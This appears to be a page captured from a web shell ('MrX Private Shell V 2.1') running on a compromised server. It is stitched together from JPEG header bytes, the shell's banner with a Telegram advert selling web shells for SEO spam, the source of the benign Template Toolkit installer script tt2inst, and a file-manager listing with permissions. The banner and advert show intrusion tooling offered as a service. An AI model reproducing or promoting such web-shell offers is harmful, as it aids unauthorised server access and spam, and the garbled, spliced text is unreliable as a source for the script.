����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/perl -w # -*- perl -*-
#
# tt2inst (bin/tt2inst)
#
# This script installs the optional Template Toolkit components from the
# 'docs', 'examples', 'images' and 'templates' distribution directories
# into the corresponding installation directories. The root directory
# for the installation should be specified as an argument to the
# script, e.g. 'tt2inst /usr/local/tt2'
#
use strict;
use Getopt::Std;
use File::Find;
use File::Path;
use File::Copy;
use File::Spec;
use Cwd;
my $PROGRAM = 'tt2inst';
my @INSTDIRS = qw( docs examples images templates );
my $args = { };
getopts('vh', $args);
usage() if $args->{ h };
my $verbose = $args->{ v };
my $tt2inst = shift || usage();
my $tt2dist = getcwd;
die <<EOF unless -d "$tt2dist/$INSTDIRS[0]";
This script should be run from the Template Toolkit distribution directory.
EOF
#------------------------------------------------------------------------
# install files
#------------------------------------------------------------------------
print STDERR <<EOF if $verbose;
Installing optional components into $tt2inst
EOF
foreach my $dir (@INSTDIRS) {
print STDERR " + $dir\n"
if $verbose;
find(\&install_file, $dir);
}
sub install_file {
my $f = $File::Find::name;
return if $f =~ /\bCVS\b/ || m[^docs/html/(?!README)];
if (-d) {
my $dir = File::Spec->catfile($tt2inst, $f);
mkpath($dir) unless -d $dir;
return;
}
my $dest = File::Spec->catfile($tt2inst, $f);
copy($_, $dest) || die "$dest: $!\n";
}
#------------------------------------------------------------------------
# usage
#------------------------------------------------------------------------
sub usage {
print STDERR <<EOF;
$PROGRAM: installation script for optional Template Toolkit components.
usage: $PROGRAM [ -v | -h ] /path/to/installation/root
-v verbose mode
-h this help
EOF
exit();
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| README | File | 1.58 KB | 0644 |
|
| tpage | File | 8.86 KB | 0755 |
|
| tt-bench.pl | File | 11.33 KB | 0644 |
|
| tt2inst | File | 1.91 KB | 0755 |
|
| ttree | File | 12.24 KB | 0755 |
|